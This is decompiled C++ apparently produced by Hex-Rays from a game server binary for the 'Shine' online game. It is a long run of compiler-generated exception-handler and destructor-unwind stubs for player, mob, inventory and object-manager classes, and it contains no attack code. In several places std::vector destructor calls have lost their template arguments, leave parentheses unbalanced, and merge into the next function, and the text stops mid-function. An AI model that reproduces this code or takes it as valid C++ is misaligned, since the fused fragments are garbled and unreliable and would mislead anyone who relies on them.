_ehhandler__sp_NC_MISC_PINGTEST_TOOL_WM_CLIENT_ZONE_DB_ShinePlayer_ShineObjectClass__QAEXPATNETCOMMAND__HG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595FD0) -------------------------------------------------------- void __usercall _L175299_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00595FD8) -------------------------------------------------------- unsigned int __cdecl _L175300() { unsigned int result; // eax@1 result = _S96_1 & 0xFFFFFFFE; _S96_1 &= 0xFFFFFFFEu; return result; } //----- (00595FE6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_RegistNumberVarifyCheck_ShinePlayer_ShineObjectClass__UAEEPAUPROTO_NC_CHAR_REGNUM_VARIFICATION_ACK___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00595FF0) -------------------------------------------------------- void __usercall _L175525(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 124)); } //----- (00595FF8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ToNormalLoc_ShinePlayer_ShineObjectClass__UAEXH_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596010) -------------------------------------------------------- void __usercall _L175804(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00596018) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__sp_ElderineRegionCheck_ShinePlayer_ShineObjectClass__QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596030) -------------------------------------------------------- void __usercall _L176487(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00596038) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VShineObject_ShineObjectClass____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596050) -------------------------------------------------------- void __usercall _L176683(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 28)); } //----- (00596058) -------------------------------------------------------- void __usercall _L176684(int a1) { AxialListPacketBroadcast4ItemPickUp::_AxialListPacketBroadcast4ItemPickUp((AxialListPacketBroadcast4ItemPickUp *)(a1 - 24)); } //----- (00596060) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_LogoutPacketBroadcast_ShineDropItem_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596070) -------------------------------------------------------- void __usercall _L177010_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596078) -------------------------------------------------------- void __usercall _L177011_0(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 20)); } //----- (00596080) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllInMapNomal_ShineObject_ShineObjectClass__QAEEPAVAxialListIterator__E_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596090) -------------------------------------------------------- void __usercall _L178013(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 276)); } //----- (0059609B) -------------------------------------------------------- void __usercall _L178014(int a1) { BroadcastEventPopper::_BroadcastEventPopper((BroadcastEventPopper *)(a1 - 296)); } //----- (005960A6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_AllOfRangeNomal_ShineObject_ShineObjectClass__QAEEKPBUSHINE_XY_TYPE__HPAUFanFormSectorArgument__P812_AEEPAV12_K_ZEG_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005960B0) -------------------------------------------------------- void __usercall _L178924(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (005960B8) -------------------------------------------------------- void __usercall _L178925(int a1) { ShineObjectClass::ShineMiniHouse::MiniHouseInven::_MiniHouseInven((ShineObjectClass::ShineMiniHouse::MiniHouseInven *)(*(_DWORD *)(a1 - 16) + 1220)); } //----- (005960C6) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineMiniHouse_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005960D0) -------------------------------------------------------- void __usercall _L178995(int a1) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 16) + 8)); } //----- (005960F0) -------------------------------------------------------- void __usercall _L179662(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (005960F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__l_Clear___List_VShineObjectEachList____QAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596110) -------------------------------------------------------- void __usercall _L179852_0(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00596118) -------------------------------------------------------- void __usercall _L179873(int a1) { ShineGuildAcademyMasterBuff::_ShineGuildAcademyMasterBuff((TableNameCompareArgument *)(a1 - 20)); } //----- (00596120) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_FirstActionAfterSocketConnect_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596130) -------------------------------------------------------- void __usercall _L181260(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (00596138) -------------------------------------------------------- void __usercall _L181261(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7388)); } //----- (00596146) -------------------------------------------------------- void __usercall _L181262(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7396)); } //----- (00596154) -------------------------------------------------------- void __usercall _L181263(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7408)); } //----- (00596162) -------------------------------------------------------- void __usercall _L181264(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7584)); } //----- (0059617E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShineMob_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596190) -------------------------------------------------------- void __usercall _L181547(int a1) { AxialListWall::_AxialListWall((AxialListMobKillLog *)(a1 - 28)); } //----- (00596198) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_SetLastBattle_ShineMob_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005961B0) -------------------------------------------------------- void __usercall _L181824(int a1) { List::_List(*(List **)(a1 - 16)); } //----- (005961B8) -------------------------------------------------------- void __usercall _L181825(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 68)); } //----- (005961C3) -------------------------------------------------------- void __usercall _L181826_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 100)); } //----- (005961CE) -------------------------------------------------------- void __usercall _L181827_0(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 132)); } //----- (005961DC) -------------------------------------------------------- void __usercall _L181828(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 164)); } //----- (005961EA) -------------------------------------------------------- void __usercall _L181829(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 196)); } //----- (005961F8) -------------------------------------------------------- void __usercall _L181830(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 228)); } //----- (00596206) -------------------------------------------------------- void __usercall _L181831(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 260)); } //----- (00596214) -------------------------------------------------------- void __usercall _L181832(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 292)); } //----- (00596222) -------------------------------------------------------- void __usercall _L181833(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 324)); } //----- (00596230) -------------------------------------------------------- void __usercall _L181834(int a1) { ShineObjectEachList::_ShineObjectEachList((ShineObjectEachList *)(*(_DWORD *)(a1 - 16) + 356)); } //----- (0059623E) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineObjectManager__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596250) -------------------------------------------------------- void __usercall _L182359(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 20)); } //----- (00596258) -------------------------------------------------------- void __usercall _L182360(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 7392)); } //----- (00596266) -------------------------------------------------------- void __usercall _L182361(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 20) + 23620)); } //----- (00596274) -------------------------------------------------------- void __usercall _L182362(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 20) + 23628)); } //----- (00596282) -------------------------------------------------------- void __usercall _L182363(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 31840)); } //----- (00596290) -------------------------------------------------------- void __usercall _L182364(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32014)); } //----- (0059629E) -------------------------------------------------------- void __usercall _L182365(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 32015)); } //----- (005962AC) -------------------------------------------------------- void __usercall _L182366(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 20) + 32168)); } //----- (005962BA) -------------------------------------------------------- void __usercall _L182367(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(*(_DWORD *)(a1 - 20) + 66012)); } //----- (005962C8) -------------------------------------------------------- void __usercall _L182368(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 20) + 66032)); } //----- (005962D6) -------------------------------------------------------- void __usercall _L182369(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 68240)); } //----- (005962F2) -------------------------------------------------------- void __usercall _L182371(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 68275)); } //----- (00596300) -------------------------------------------------------- void __usercall _L182372(int a1) { ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 20) + 68304)); } //----- (0059630E) -------------------------------------------------------- void __usercall _L182373(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 20) + 69424)); } //----- (0059631C) -------------------------------------------------------- void __usercall _L182374(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 20) + 86144)); } //----- (0059632A) -------------------------------------------------------- void __usercall _L182375(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 89024)); } //----- (00596338) -------------------------------------------------------- void __usercall _L182376(int a1) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 20) + 89150)); } //----- (00596346) -------------------------------------------------------- void __usercall _L182377(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 20) + 89168)); } //----- (00596354) -------------------------------------------------------- void __usercall _L182378(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 20) + 89920)); } //----- (00596362) -------------------------------------------------------- void __usercall _L182379(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 91044)); } //----- (00596370) -------------------------------------------------------- void __usercall _L182380(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 20) + 91072)); } //----- (0059637E) -------------------------------------------------------- void __usercall _L182381(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 20) + 91732)); } //----- (0059638C) -------------------------------------------------------- void __usercall _L182382(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92160)); } //----- (0059639A) -------------------------------------------------------- void __usercall _L182383(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92161)); } //----- (005963A8) -------------------------------------------------------- void __usercall _L182384(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 20) + 92164)); } //----- (005963B6) -------------------------------------------------------- void __usercall _L182385(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 20) + 92200)); } //----- (005963C4) -------------------------------------------------------- void __usercall _L182386(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 20) + 92576)); } //----- (005963D2) -------------------------------------------------------- void __usercall _L182389(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 16)); } //----- (005963DA) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___1ShinePlayer_ShineObjectClass__UAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (005963F0) -------------------------------------------------------- void __usercall _L183363(int a1) { AxialListPacketBroadcast::_AxialListPacketBroadcast((AxialListPacketBroadcast *)(a1 - 24)); } //----- (005963F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_ply_ReinforceFoldtent_ShinePlayer_ShineObjectClass__UAEXXZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596410) -------------------------------------------------------- void __usercall _L183803(int a1) { std::basic_string_std::allocator>::_basic_string_std::allocator>((std::pair,std::allocator > const ,int> *)(a1 - 80)); } //----- (00596418) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___Insert____Tree_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___std__IAE_AViterator_12__NPAU_Node____Tree_nod_V___Tset_traits_KU__less_K_std__V__allocator_K_2__0A__std___2_ABK_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596430) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_KV__allocator_K_std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596440) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__reserve___vector_VObserver__V__allocator_VObserver___std___std__QAEXI_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596450) -------------------------------------------------------- void __usercall _L184956(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 24)); } //----- (00596458) -------------------------------------------------------- void __usercall _L184957(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(a1 - 32)); } //----- (00596460) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__som_FreeObject_ShineObjectManager__QAEEGW4RemoveWhen_ShineObjectClass__H_Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596470) -------------------------------------------------------- void __usercall _L185529(int a1) { ShineObjectClass::ShineObject::_ShineObject(*(_DWORD *)(a1 - 16)); } //----- (00596478) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineAxialFlag_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596490) -------------------------------------------------------- void __usercall _L185631(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (00596498) -------------------------------------------------------- void __usercall _L185632(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7392)); } //----- (005964A6) -------------------------------------------------------- void __usercall _L185633(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 23620)); } //----- (005964B4) -------------------------------------------------------- void __usercall _L185634(int a1) { ShineObjectClass::ShinePlayer::SocketStream::_SocketStream((ShineObjectClass::ShinePlayer::SocketStream *)(*(_DWORD *)(a1 - 16) + 23628)); } //----- (005964C2) -------------------------------------------------------- void __usercall _L185635(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 31840)); } //----- (005964D0) -------------------------------------------------------- void __usercall _L185636(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32014)); } //----- (005964DE) -------------------------------------------------------- void __usercall _L185637(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 32015)); } //----- (005964EC) -------------------------------------------------------- void __usercall _L185758(int a1) { CharacterInventory::_CharacterInventory(*(CharacterInventory **)(a1 - 20)); } //----- (005964F4) -------------------------------------------------------- void __usercall _L185638(int a1) { ShineObjectClass::ShinePlayer::__unnamed::___unnamed((void *)(*(_DWORD *)(a1 - 16) + 32168)); } //----- (00596502) -------------------------------------------------------- void __usercall _L185639(int a1) { NormalAttackDamageDelay::NormalAttackDamageTick::_NormalAttackDamageTick((NormalAttackDamageDelay::NormalAttackDamageTick *)(*(_DWORD *)(a1 - 16) + 66012)); } //----- (00596510) -------------------------------------------------------- void __usercall _L185640(int a1) { ShineQuestDiary::_ShineQuestDiary((ShineQuestDiary *)(*(_DWORD *)(a1 - 16) + 66032)); } //----- (0059651E) -------------------------------------------------------- void __usercall _L185641(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 16) + 68240)); } //----- (0059653A) -------------------------------------------------------- void __usercall _L185643(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 68275)); } //----- (00596548) -------------------------------------------------------- void __usercall _L185644(int a1) { ShineObjectClass::ShinePlayer::NPCProcess::_NPCProcess((ShineObjectClass::ShinePlayer::NPCProcess *)(*(_DWORD *)(a1 - 16) + 68304)); } //----- (00596556) -------------------------------------------------------- void __usercall _L185645(int a1) { ShineObjectClass::ShinePlayer::AccountStorage::_AccountStorage((ShineObjectClass::ShinePlayer::AccountStorage *)(*(_DWORD *)(a1 - 16) + 69424)); } //----- (00596564) -------------------------------------------------------- void __usercall _L185646(int a1) { ItemRewardStorage::_ItemRewardStorage((ItemRewardStorage *)(*(_DWORD *)(a1 - 16) + 86144)); } //----- (00596572) -------------------------------------------------------- void __usercall _L185647(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 16) + 89024)); } //----- (00596580) -------------------------------------------------------- void __usercall _L185648(int a1) { TreasureChestLocationManager::_TreasureChestLocationManager((CharacterPassiveList *)(*(_DWORD *)(a1 - 16) + 89150)); } //----- (0059658E) -------------------------------------------------------- void __usercall _L185774(int a1) { StreetBoothSell::_StreetBoothSell((StreetBoothSell *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (00596599) -------------------------------------------------------- void __usercall _L185649(int a1) { ShineObjectClass::ShinePlayer::BoothSell::_BoothSell((ShineObjectClass::ShinePlayer::BoothSell *)(*(_DWORD *)(a1 - 16) + 89168)); } //----- (005965A7) -------------------------------------------------------- void __usercall _L185650(int a1) { ShineObjectClass::ShinePlayer::MiniHouseStr::_MiniHouseStr((ShineObjectClass::ShinePlayer::MiniHouseStr *)(*(_DWORD *)(a1 - 16) + 89920)); } //----- (005965B5) -------------------------------------------------------- void __usercall _L185651(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 91044)); } //----- (005965C3) -------------------------------------------------------- void __usercall _L185652(int a1) { ChargedItemEffectList::ChargedItem::_ChargedItem((ChargedItemEffectList::ChargedItem *)(*(_DWORD *)(a1 - 16) + 91072)); } //----- (005965D1) -------------------------------------------------------- void __usercall _L185653(int a1) { ShineObjectClass::ShinePlayer::ChargedInven::_ChargedInven((ShineObjectClass::ShinePlayer::ChargedInven *)(*(_DWORD *)(a1 - 16) + 91732)); } //----- (005965DF) -------------------------------------------------------- void __usercall _L185654(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92160)); } //----- (005965ED) -------------------------------------------------------- void __usercall _L185655(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92161)); } //----- (005965FB) -------------------------------------------------------- void __usercall _L185656(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 92164)); } //----- (00596609) -------------------------------------------------------- void __usercall _L185657(int a1) { List::_List((ItemLotAnalyser::LotAnalyser *)(*(_DWORD *)(a1 - 16) + 92200)); } //----- (00596617) -------------------------------------------------------- void __usercall _L185658(int a1) { std::vector>::_vector>((std::vector > *)(*(_DWORD *)(a1 - 16) + 92576)); } //----- (00596625) -------------------------------------------------------- void __usercall _L185875(int a1) { MobTargetAggresive::_MobTargetAggresive(*(MobTargetAggresive **)(a1 - 20)); } //----- (0059662D) -------------------------------------------------------- void __usercall _L185659(int a1) { MobTargetPlayerCaptivate::_MobTargetPlayerCaptivate((MobTargetPlayerCaptivate *)(*(_DWORD *)(a1 - 16) + 92596)); } //----- (0059663B) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShinePlayer_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596650) -------------------------------------------------------- void __usercall _L186015(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (00596658) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__so_banning_ShinePlayer_ShineObjectClass__UAEXW4RemoveWhen_2__Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596670) -------------------------------------------------------- void __usercall _L191420(int a1) { ShineObjectClass::ShineMobileObject::_ShineMobileObject(*(_DWORD *)(a1 - 16)); } //----- (00596678) -------------------------------------------------------- void __usercall _L191421(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7388)); } //----- (00596686) -------------------------------------------------------- void __usercall _L191422(int a1) { TargetAnalyser_Player::_TargetAnalyser_Player((TargetAnalyser_Player *)(*(_DWORD *)(a1 - 16) + 7396)); } //----- (00596694) -------------------------------------------------------- void __usercall _L191423(int a1) { ShineObjectClass::ShineMobileObject::smo_ChineCastCut((DiceTaiSaiDividind *)(*(_DWORD *)(a1 - 16) + 7408)); } //----- (005966A2) -------------------------------------------------------- void __usercall _L191424(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { MobTacticElement::MobActionArgument::Selector::_Selector((MobTacticElement::MobActionArgument::Selector *)(*(_DWORD *)(a1 - 20) + 8)); } //----- (005966BB) -------------------------------------------------------- void __usercall _L191425(int a1) { MobTacticElement::MobActionArgument::_MobActionArgument((MobTacticElement::MobActionArgument *)(*(_DWORD *)(a1 - 16) + 7584)); } //----- (005966C9) -------------------------------------------------------- void __usercall _L191426(int a1) { List::_List((HitMeList::EnemyList *)(*(_DWORD *)(a1 - 16) + 8384)); } //----- (005966D7) -------------------------------------------------------- void __usercall _L191427(int a1) { std::vector>::_vector>((std::vector,std::allocator > >::iterator,std::allocator,std::allocator) { ShineObjectClass::ShineMob::_ShineMob(*(_DWORD *)(a1 - 16)); } //----- (005966F8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler___0ShineBandit_ShineObjectClass__QAE_XZ(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return __CxxFrameHandler(pExcept, pRN, pContext, pDC); } //----- (00596710) -------------------------------------------------------- void __usercall _L191746(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 20)); } //----- (00596723) -------------------------------------------------------- void __usercall _L191748(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0059672E) -------------------------------------------------------- void __usercall _L191749(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00596739) -------------------------------------------------------- void __usercall _L191750_0(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00596744) -------------------------------------------------------- void __usercall _L191751_0(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0059675A) -------------------------------------------------------- void __usercall _L191753_0(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00596765) -------------------------------------------------------- void __usercall _L191754_0(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (00596770) -------------------------------------------------------- void __usercall _L191755(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (0059677B) -------------------------------------------------------- void __usercall _L191756(int a1) { operator delete__(*(void **)(a1 - 16)); } //----- (005967A0) -------------------------------------------------------- void __usercall _L150151(int a1) { FunctionEntarance::_FunctionEntarance((FunctionEntarance *)(a1 - 16)); } //----- (005967A8) -------------------------------------------------------- _EXCEPTION_DISPOSITION __cdecl _ehhandler__smo_LoginAfterLogout_ShineMob_ShineObjectClass__UAEXPBUSHINE_XY_TYPE___Z(EHExceptionRecord *pExcept, EHRegistrationNode *pRN, void *pContext, void *pDC) { return 